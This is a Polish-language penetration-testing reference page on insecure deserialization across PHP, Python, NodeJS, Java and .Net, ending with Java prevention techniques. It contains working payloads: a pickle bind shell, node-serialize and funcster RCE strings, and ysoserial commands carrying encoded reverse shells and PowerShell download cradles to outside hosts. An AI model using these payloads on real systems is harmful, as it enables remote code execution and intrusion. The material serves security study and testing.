Deserialization

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Serializacja to metoda polegająca na konwertowaniu obiektu do formatu, który można zachować, z zamiarem przechowywania obiektu lub przesyłania go w ramach procesu komunikacji. Ta technika jest powszechnie stosowana, aby zapewnić, że obiekt można odtworzyć w późniejszym czasie, zachowując jego strukturę i stan.

Deserializacja, z kolei, to proces przeciwny do serializacji. Polega na pobraniu danych, które zostały sformatowane w określonym formacie i odtworzeniu ich z powrotem w postać obiektu.

Deserializacja może być niebezpieczna, ponieważ potencjalnie pozwala atakującym manipulować zserializowanymi danymi w celu wykonania szkodliwego kodu lub wywołania nieoczekiwanego zachowania w aplikacji podczas procesu odtwarzania obiektu.

PHP

W PHP podczas procesów serializacji i deserializacji wykorzystuje się konkretne magiczne metody:

  • __sleep: Wywoływana podczas serializacji obiektu. Ta metoda powinna zwrócić tablicę nazw wszystkich właściwości obiektu, które powinny być zserializowane. Jest powszechnie używana do zatwierdzania oczekujących danych lub wykonywania podobnych zadań czyszczenia.

  • __wakeup: Wywoływana podczas deserializacji obiektu. Służy do ponownego nawiązania połączeń z bazą danych, które mogły zostać utracone podczas serializacji, oraz do wykonywania innych zadań ponownej inicjalizacji.

  • __unserialize: Ta metoda jest wywoływana zamiast __wakeup (jeśli istnieje) podczas deserializacji obiektu. Daje większą kontrolę nad procesem deserializacji w porównaniu do __wakeup.

  • __destruct: Ta metoda jest wywoływana, gdy obiekt ma zostać zniszczony lub gdy skrypt się kończy. Zazwyczaj jest używana do zadań czyszczenia, takich jak zamykanie uchwytów plików lub połączeń z bazą danych.

  • __toString: Ta metoda pozwala traktować obiekt jako ciąg znaków. Może być używana do odczytu pliku lub innych zadań opartych na wywołaniach funkcji wewnątrz niej, efektywnie dostarczając tekstową reprezentację obiektu.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Jeśli spojrzysz na wyniki, zobaczysz, że funkcje __wakeup i __destruct są wywoływane podczas deserializacji obiektu. Zauważ, że w kilku samouczkach znajdziesz, że funkcja __toString jest wywoływana podczas próby wydrukowania pewnego atrybutu, ale najwyraźniej to już się nie dzieje.

Metoda __unserialize(array $data) jest wywoływana zamiast __wakeup() jeśli jest zaimplementowana w klasie. Pozwala ona na deserializację obiektu poprzez dostarczenie danych zserializowanych jako tablicę. Możesz użyć tej metody do deserializacji właściwości i wykonania wszelkich koniecznych zadań podczas deserializacji.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Możesz przeczytać wyjaśniony przykład w PHP tutaj: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, tutaj https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf lub tutaj https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

Deserializacja PHP + Klasy Autoload

Możesz nadużyć funkcjonalności automatycznego ładowania w PHP do ładowania dowolnych plików PHP i nie tylko:

pagePHP - Deserialization + Autoload Classes

Serializacja Wartości Odniesienia

Jeśli z jakiegoś powodu chcesz zserializować wartość jako odwołanie do innej zserializowanej wartości, możesz:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial dla PHP)

PHPGGC może pomóc w generowaniu ładunków, aby nadużyć deserializacji w PHP. Zauważ, że w wielu przypadkach nie będziesz w stanie znaleźć sposobu na nadużycie deserializacji w kodzie źródłowym aplikacji, ale możesz nadużyć kod zewnętrznych rozszerzeń PHP. Więc, jeśli możesz, sprawdź phpinfo() serwera i szukaj w internecie (nawet w gadżetach PHPGGC) możliwych gadżetów, których możesz nadużyć.

Deserializacja metadanych phar://

Jeśli znalazłeś LFI, który tylko czyta plik i nie wykonuje w nim kodu PHP, na przykład za pomocą funkcji takich jak file_get_contents(), fopen(), file() lub file_exists(), md5_file(), filemtime() lub filesize(). Możesz spróbować nadużyć deserializacji, która występuje podczas odczytywania pliku za pomocą protokołu phar. Aby uzyskać więcej informacji, przeczytaj następujący post:

pagephar:// deserialization

Python

Pickle

Gdy obiekt zostanie odblokowany, zostanie wykonana funkcja __reduce__. W przypadku wykorzystania, serwer może zwrócić błąd.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Dla dalszych informacji na temat ucieczki z więzień pickle, sprawdź:

pageBypass Python sandboxes

Yaml & jsonpickle

Następna strona prezentuje technikę wykorzystania nieszybkiej deserializacji w bibliotekach pythona obsługujących yamle i kończy się narzędziem, które można użyć do generowania ładunku deserializacji RCE dla Pickle, PyYAML, jsonpickle i ruamel.yaml:

pagePython Yaml Deserialization

Zanieczyszczenie klasy (Python Prototype Pollution)

pageClass Pollution (Python's Prototype Pollution)

NodeJS

Magiczne funkcje JS

JS nie ma "magicznych" funkcji jak PHP czy Python, które zostaną wykonane tylko po utworzeniu obiektu. Ale ma kilka funkcji, które są często używane nawet bez bezpośredniego ich wywoływania, takich jak toString, valueOf, toJSON. Wykorzystując deserializację, możesz naruszyć te funkcje, aby wykonać inny kod (potencjalnie wykorzystując zanieczyszczenia prototypów), co pozwoli ci wykonać dowolny kod podczas ich wywoływania.

Innym "magicznym" sposobem wywołania funkcji bez bezpośredniego jej wywoływania jest naruszenie obiektu zwracanego przez funkcję asynchroniczną (promise). Ponieważ, jeśli przekształcisz ten obiekt zwracany w inny promise z właściwością o nazwie "then" typu funkcja, zostanie on wykonany tylko dlatego, że jest zwracany przez inny promise. Zajrzyj pod ten link dla więcej informacji.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

Zanieczyszczenie __proto__ i prototype

Jeśli chcesz dowiedzieć się więcej o tej technice, zapoznaj się z następującym samouczkiem:

pageNodeJS - __proto__ & prototype Pollution

Ta biblioteka pozwala na serializację funkcji. Przykład:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Obiekt zserializowany będzie wyglądał następująco:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Możesz zobaczyć na przykładzie, że gdy funkcja jest serializowana, do obiektu serializowanego dodawana jest flaga _$$ND_FUNC$$_.

Wewnątrz pliku node-serialize/lib/serialize.js znajdziesz tę samą flagę i sposób, w jaki kod z niej korzysta.

Jak widać w ostatnim fragmencie kodu, jeśli flaga zostanie znaleziona, używane jest eval do deserializacji funkcji, więc w zasadzie wejście użytkownika jest używane wewnątrz funkcji eval.

Jednakże, tylko serializacja funkcji nie spowoduje jej wykonania, ponieważ konieczne byłoby, aby jakiś fragment kodu wywołał y.rce w naszym przykładzie, co jest bardzo mało prawdopodobne. W każdym razie, można zmodyfikować serializowany obiekt, dodając nawiasy w celu automatycznego wykonania zserializowanej funkcji podczas deserializacji obiektu. W następnym fragmencie kodu zauważ ostatni nawias i sposób, w jaki funkcja unserialize automatycznie wykona kod:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Jak wcześniej wskazano, ta biblioteka pobierze kod po _$$ND_FUNC$$_ i wykona go za pomocą eval. Dlatego, aby automatycznie wykonać kod, można usunąć część tworzenia funkcji oraz ostatni nawias i po prostu wykonać jednolinijkowy kod JS jak w poniższym przykładzie:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Możesz znaleźć tutaj dalsze informacje na temat sposobu wykorzystania tej podatności.

Wartościowym aspektem funcstera jest niedostępność standardowych obiektów wbudowanych; wypadają one poza dostępny zakres. To ograniczenie uniemożliwia wykonanie kodu próbującego wywołać metody na obiektach wbudowanych, co prowadzi do wyjątków takich jak "ReferenceError: console is not defined" przy użyciu poleceń takich jak console.log() lub require(something).

Mimo tego ograniczenia, przywrócenie pełnego dostępu do globalnego kontekstu, w tym wszystkich standardowych obiektów wbudowanych, jest możliwe dzięki określonemu podejściu. Wykorzystując bezpośrednio globalny kontekst, można ominąć to ograniczenie. Na przykład dostęp można przywrócić za pomocą następującego fragmentu:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Aby uzyskać więcej informacji przeczytaj ten źródło.

Pakiet serialize-javascript jest przeznaczony wyłącznie do celów serializacji, nie posiada wbudowanych funkcji deserializacji. Użytkownicy są odpowiedzialni za implementację własnej metody deserializacji. Bezpośrednie użycie eval jest sugerowane przez oficjalny przykład do deserializacji danych zserializowanych:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Jeśli ta funkcja jest używana do deserializacji obiektów, możesz to łatwo wykorzystać:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Dla więcej informacji przeczytaj ten źródło.

Biblioteka Cryo

Na następnych stronach znajdziesz informacje na temat tego, jak nadużyć tej biblioteki do wykonania arbitralnych poleceń:

Java - HTTP

W Javie wywołania zwrotne deserializacji są wykonywane podczas procesu deserializacji. To wykonanie może być wykorzystane przez atakujących, którzy tworzą złośliwe ładunki, które wyzwalają te wywołania zwrotne, prowadząc do potencjalnego wykonania szkodliwych działań.

Odciski palców

White Box

Aby zidentyfikować potencjalne podatności na serializację w kodzie, wyszukaj:

  • Klasy implementujące interfejs Serializable.

  • Użycie funkcji java.io.ObjectInputStream, readObject, readUnshare.

Zwróć szczególną uwagę na:

  • XMLDecoder używany z parametrami zdefiniowanymi przez zewnętrznych użytkowników.

  • Metoda fromXML z XStream, zwłaszcza jeśli wersja XStream jest mniejsza lub równa 1.46, ponieważ jest podatna na problemy z serializacją.

  • ObjectInputStream w połączeniu z metodą readObject.

  • Implementacja metod takich jak readObject, readObjectNodData, readResolve lub readExternal.

  • ObjectInputStream.readUnshared.

  • Ogólne użycie Serializable.

Black Box

Podczas testowania black box, poszukaj konkretnych sygnatur lub "Magicznych bajtów", które oznaczają obiekty zserializowane w Javie (pochodzące z ObjectInputStream):

  • Wzorzec szesnastkowy: AC ED 00 05.

  • Wzorzec Base64: rO0.

  • Nagłówki odpowiedzi HTTP z ustawionym Content-type na application/x-java-serialized-object.

  • Wzorzec szesnastkowy wskazujący wcześniejszą kompresję: 1F 8B 08 00.

  • Wzorzec Base64 wskazujący wcześniejszą kompresję: H4sIA.

  • Pliki internetowe z rozszerzeniem .faces i parametrem faces.ViewState. Odkrycie tych wzorców w aplikacji internetowej powinno skłonić do dokładnego zbadania, jak opisano w poście dotyczącym Deserializacji Java JSF ViewState.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Sprawdź, czy jest podatny

Jeśli chcesz dowiedzieć się, jak działa eksploit deserializacji w Javie, powinieneś zajrzeć do Podstawowa deserializacja w Javie, Deserializacja DNS w Javie i Ładunek CommonsCollection1.

Test White Box

Możesz sprawdzić, czy zainstalowano jakąkolwiek aplikację znaną z podatności.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Możesz spróbować sprawdzić wszystkie biblioteki uznane za podatne, na które Ysoserial może dostarczyć exploit. Możesz także sprawdzić biblioteki wskazane na Java-Deserialization-Cheat-Sheet. Możesz również użyć gadgetinspector, aby wyszukać możliwe łańcuchy gadżetów, które można wykorzystać. Podczas uruchamiania gadgetinspector (po zbudowaniu go) nie przejmuj się ilością ostrzeżeń/błędów, przez które przechodzi, pozwól mu zakończyć. Znajdzie wszystkie wyniki w gadgetinspector/gadget-results/gadget-chains-year-month-day-godzina-minuta.txt. Proszę zauważyć, że gadgetinspector nie stworzy exploitu i może wskazywać fałszywe pozytywy.

Test Czarnej Skrzynki

Korzystając z rozszerzenia Burp gadgetprobe, możesz zidentyfikować jakie biblioteki są dostępne (nawet wersje). Dzięki tym informacjom może być łatwiej wybrać payload do wykorzystania podatności. Przeczytaj to, aby dowiedzieć się więcej o GadgetProbe. GadgetProbe skupia się na deserializacjach ObjectInputStream.

Korzystając z rozszerzenia Burp Java Deserialization Scanner, możesz zidentyfikować podatne biblioteki podatne na exploitację za pomocą ysoserial i je wykorzystać. Przeczytaj to, aby dowiedzieć się więcej o Java Deserialization Scanner. Java Deserialization Scanner skupia się na deserializacjach ObjectInputStream.

Możesz także użyć Freddy, aby wykryć podatności na deserializacje w Burp. To wtyczka wykryje podatności związane nie tylko z ObjectInputStream, ale także podatności z bibliotek deserializacji Json i Yml. W trybie aktywnym spróbuje je potwierdzić, używając payloadów sleep lub DNS. Więcej informacji o Freddy znajdziesz tutaj.

Test Serializacji

Nie chodzi tylko o sprawdzenie, czy serwer używa podatnej biblioteki. Czasami możesz zmienić dane wewnątrz zserializowanego obiektu i ominąć niektóre kontrole (może to dać ci uprawnienia administratora w aplikacji internetowej). Jeśli znajdziesz zserializowany obiekt Javy wysyłany do aplikacji internetowej, możesz użyć SerializationDumper, aby wydrukować w bardziej czytelnej formie obiekt zserializowany, który jest wysyłany. Znając dane, które wysyłasz, łatwiej będzie je zmodyfikować i ominąć niektóre kontrole.

Exploit

ysoserial

Głównym narzędziem do eksploatacji deserializacji Javy jest ysoserial (pobierz tutaj). Możesz także rozważyć użycie ysoseral-modified, co pozwoli ci używać złożonych poleceń (z rurami na przykład). Zauważ, że to narzędzie jest skoncentrowane na eksploatacji ObjectInputStream. Zacząłbym od użycia ładunku "URLDNS" przed ładunkiem RCE, aby przetestować, czy wstrzyknięcie jest możliwe. W każdym razie zauważ, że może się zdarzyć, że ładunek "URLDNS" nie działa, ale inny ładunek RCE tak.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Podczas tworzenia ładunku dla java.lang.Runtime.exec() nie możesz używać znaków specjalnych takich jak ">" lub "|" do przekierowania wyniku wykonania, "$()" do wykonywania poleceń ani przekazywać argumentów do polecenia oddzielonych spacjami (możesz użyć echo -n "hello world", ale nie możesz użyć python2 -c 'print "Hello world"'). Aby poprawnie zakodować ładunek, możesz skorzystać z tej strony internetowej.

Zapraszamy do skorzystania z poniższego skryptu do stworzenia wszystkich możliwych ładunków wykonania kodu dla systemów Windows i Linux, a następnie przetestowania ich na podatnej stronie internetowej:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Możesz użyć https://github.com/pwntester/SerialKillerBypassGadgetCollection razem z ysoserial, aby tworzyć więcej exploitów. Więcej informacji o tym narzędziu znajdziesz w slajdach prezentacji, gdzie narzędzie zostało przedstawione: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec może być używany do generowania ładunków w celu wykorzystania różnych bibliotek serializacji Json i Yml w Javie. Aby skompilować projekt, musiałem dodać te zależności do pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Zainstaluj maven, a następnie skompiluj projekt:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Dowiedz się więcej o tej bibliotece Java JSON: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratoria

Dlaczego

Java używa dużo serializacji do różnych celów, takich jak:

  • Zapytania HTTP: Serializacja jest powszechnie stosowana w zarządzaniu parametrami, ViewState, cookies, itp.

  • RMI (Remote Method Invocation): Protokół Java RMI, który w całości polega na serializacji, jest podstawą komunikacji zdalnej w aplikacjach Java.

  • RMI przez HTTP: Ta metoda jest powszechnie używana przez aplikacje internetowe oparte na Java z gruby klientem, wykorzystując serializację do komunikacji obiektów.

  • JMX (Java Management Extensions): JMX wykorzystuje serializację do przesyłania obiektów przez sieć.

  • Niestandardowe protokoły: W Javie standardową praktyką jest przesyłanie surowych obiektów Javy, co zostanie zademonstrowane w nadchodzących przykładach wykorzystania.

Zapobieganie

Obiekty przejściowe

Klasa implementująca Serializable może oznaczyć jako transient dowolny obiekt wewnątrz klasy, który nie powinien być serializowany. Na przykład:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Unikaj serializacji klasy, która musi implementować interfejs Serializable

W przypadkach, gdy pewne obiekty muszą implementować interfejs Serializable ze względu na hierarchię klas, istnieje ryzyko niezamierzonej deserializacji. Aby temu zapobiec, upewnij się, że te obiekty nie mogą być deserializowane, definiując metodę final readObject(), która konsekwentnie zgłasza wyjątek, jak pokazano poniżej:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Poprawa bezpieczeństwa deserializacji w Javie

Dostosowywanie java.io.ObjectInputStream jest praktycznym podejściem do zabezpieczania procesów deserializacji. Ta metoda jest odpowiednia, gdy:

  • Kod deserializacji jest pod kontrolą.

  • Klasy oczekiwane do deserializacji są znane.

Zastąp metodę resolveClass() w celu ograniczenia deserializacji tylko do dozwolonych klas. Zapobiega to deserializacji dowolnej klasy oprócz tych, które są wyraźnie zezwolone, jak w poniższym przykładzie, który ogranicza deserializację tylko do klasy Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Korzystanie z agenta Java w celu zwiększenia bezpieczeństwa oferuje rozwiązanie awaryjne, gdy modyfikacja kodu nie jest możliwa. Ta metoda dotyczy głównie czarnolistowania szkodliwych klas, korzystając z parametru JVM:

-javaagent:name-of-agent.jar

Zapewnia sposób na dynamiczne zabezpieczenie deserializacji, idealny do środowisk, w których natychmiastowe zmiany w kodzie są niemożliwe.

Sprawdź przykład w rO0 autorstwa Contrast Security

Wdrażanie filtrów serializacji: Java 9 wprowadziła filtry serializacji za pośrednictwem interfejsu ObjectInputFilter, zapewniając potężny mechanizm określania kryteriów, które muszą spełniać obiekty zserializowane przed ich deserializacją. Filtry te mogą być stosowane globalnie lub na poziomie strumienia, oferując precyzyjną kontrolę nad procesem deserializacji.

Aby skorzystać z filtrów serializacji, można ustawić filtr globalny, który będzie stosowany do wszystkich operacji deserializacji lub skonfigurować go dynamicznie dla konkretnych strumieni. Na przykład:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Wykorzystywanie Zewnętrznych Bibliotek w Celu Wzmocnienia Bezpieczeństwa: Biblioteki takie jak NotSoSerial, jdeserialize i Kryo oferują zaawansowane funkcje do kontroli i monitorowania deserializacji w Javie. Te biblioteki mogą zapewnić dodatkowe warstwy zabezpieczeń, takie jak tworzenie listy białej lub czarnej klas, analizowanie obiektów zserializowanych przed deserializacją oraz implementowanie niestandardowych strategii serializacji.

  • NotSoSerial przechwytuje procesy deserializacji w celu zapobiegania wykonaniu niezaufanego kodu.

  • jdeserialize umożliwia analizę obiektów zserializowanych w Javie bez ich deserializacji, pomagając zidentyfikować potencjalnie złośliwe treści.

  • Kryo to alternatywny framework serializacji, który kładzie nacisk na szybkość i wydajność, oferując konfigurowalne strategie serializacji, które mogą zwiększyć bezpieczeństwo.

Odnośniki

Wstrzykiwanie JNDI i log4Shell

Dowiedz się, czym jest Wstrzykiwanie JNDI, jak je nadużywać za pomocą RMI, CORBA & LDAP oraz jak wykorzystać log4shell (oraz przykład tej podatności) na następnej stronie:

pageJNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

Java Message Service (JMS) API to Java API middleware do przesyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do rozwiązania problemu producenta-konsumenta. JMS jest częścią Java Platform, Enterprise Edition (Java EE) i został zdefiniowany przez specyfikację opracowaną w Sun Microsystems, ale obecnie jest kierowany przez Java Community Process. Jest to standard komunikacji, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i czytać wiadomości. Umożliwia komunikację między różnymi komponentami rozproszonej aplikacji w sposób luźno powiązany, niezawodny i asynchroniczny. (Z Wikipedia).

Produkty

Istnieje kilka produktów wykorzystujących to oprogramowanie pośredniczące do wysyłania wiadomości:

Wykorzystanie

W zasadzie istnieje wiele usług wykorzystujących JMS w niebezpieczny sposób. Dlatego jeśli masz wystarczające uprawnienia do wysyłania wiadomości do tych usług (zazwyczaj będziesz potrzebować prawidłowych poświadczeń), możesz wysłać zserializowane obiekty złośliwe, które zostaną zdeserializowane przez odbiorcę/subskrybenta. Oznacza to, że w tym wykorzystaniu wszyscy klienci korzystający z tej wiadomości zostaną zainfekowani.

Należy pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe użytkownika), nadal musisz znaleźć prawidłowe gadżety do wykorzystania podatności.

Narzędzie JMET zostało stworzone do połączenia i ataku na te usługi, wysyłając wiele zserializowanych obiektów złośliwych za pomocą znanych gadżetów. Te ataki zadziałają, jeśli usługa nadal jest podatna i jeśli którykolwiek z użytych gadżetów znajduje się w podatnej aplikacji.

Odnośniki

.Net

W kontekście .Net, ataki deserializacji działają podobnie jak te znalezione w Javie, gdzie gadżety są wykorzystywane do uruchamiania określonego kodu podczas deserializacji obiektu.

Odcisk palca

WhiteBox

Kod źródłowy powinien być sprawdzony pod kątem wystąpień:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Należy skupić się na serializatorach, które pozwalają określić typ za pomocą zmiennej kontrolowanej przez użytkownika.

BlackBox

